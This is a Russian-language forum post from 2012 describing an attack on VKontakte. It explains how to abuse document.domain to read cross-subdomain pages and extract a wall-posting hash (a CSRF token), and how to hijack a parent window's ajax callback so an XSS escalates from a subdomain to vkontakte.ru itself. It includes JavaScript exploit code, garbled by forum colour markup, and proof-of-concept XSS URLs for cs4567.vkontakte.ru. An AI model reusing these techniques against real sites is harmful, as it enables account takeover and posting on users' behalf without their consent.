Показать сообщение отдельно

  #3  
Старый 09.01.2012, 11:03
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

1) Чтение страниц с другого домена.

Обмен данными между страницей и фреймом возможен только если они находятся на одном домене.

Домен хранится в свойстве document.domain. Политика безопасности позволяет изменить это свойство только на текущий домен или наддомен.

Например, на сайте news.site.com мы можем установить document.domain='site.com'и обратно document.domain='news.site.com'.

Есть еще одна проблема. Для обмена данными необходимо, чтобы обе страницы присвоили одинаковое имя домена свойству document.domain, даже если одна из страниц расположена на нужном домене.

То есть, с news.site.com можно прочитать страницу, находящуюся на site.com или на mail.site.com, если на этой странице свойству document.domain присвоено значение 'site.com'

Пример. Получение хеша для отправки сообщения на стену:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];

function[/
COLOR][COLOR="#0000BB"]getHash[/COLOR][COLOR="#007700"]()

{

var[/COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

for([/COLOR][COLOR="#0000BB"]i in document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]scripts[/COLOR][COLOR="#007700"])

[/
COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]+= ([/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]scripts[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]innerText[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"](/\\\[/COLOR][COLOR="#DD0000"]"post_hash\\\":\\\"(.+?)\\\"/.exec(page));

}

[/COLOR][/COLOR] 
2) Перевод XSS на другой домен

Чтение некоторых страниц сайта - лучше, чем ничего, но хотелось бы большего.

Посмотрим на страницу http://vkontakte.ru/al_profile.php?al=-1

Код HTML:
var locDomain = location.host.toString().match(/[a-zA-Z]+\.[a-zA-Z]+\.?$/)[0];
if (/opera/i.test(_ua) || !/msie 6/i.test(_ua) || document.domain != locDomain) {
  document.domain = locDomain;
}
Этот код позволяет обмениваться данными с любым поддоменом vkontakte.ru

Код HTML:
parent.ajax._framedone('123405678', [1,"\/username",1]);
Обращение к функции объекта родительского окна

Выполнения этих двух условий достаточно, для изменения домена XSS на другой домен того же уровня или наддомен.

Пример:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

function[/
COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]()

{

[/
COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'good'[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// код внутри функции a() выполняется на домене vkontakte.ru

[/COLOR][COLOR="#007700"]}

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]domain[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'vkontakte.ru'[/COLOR][COLOR="#007700"];

var[/
COLOR][COLOR="#0000BB"]ajax[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]Object[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]ajax[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]_framedone[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/
COLOR] 
PoC:

XSS на поддомене cs4567

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=​

Та же XSS, но выполняется уже на самом vkontakte.ru (пробелы убрать)

http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=​
 
Ответить с цитированием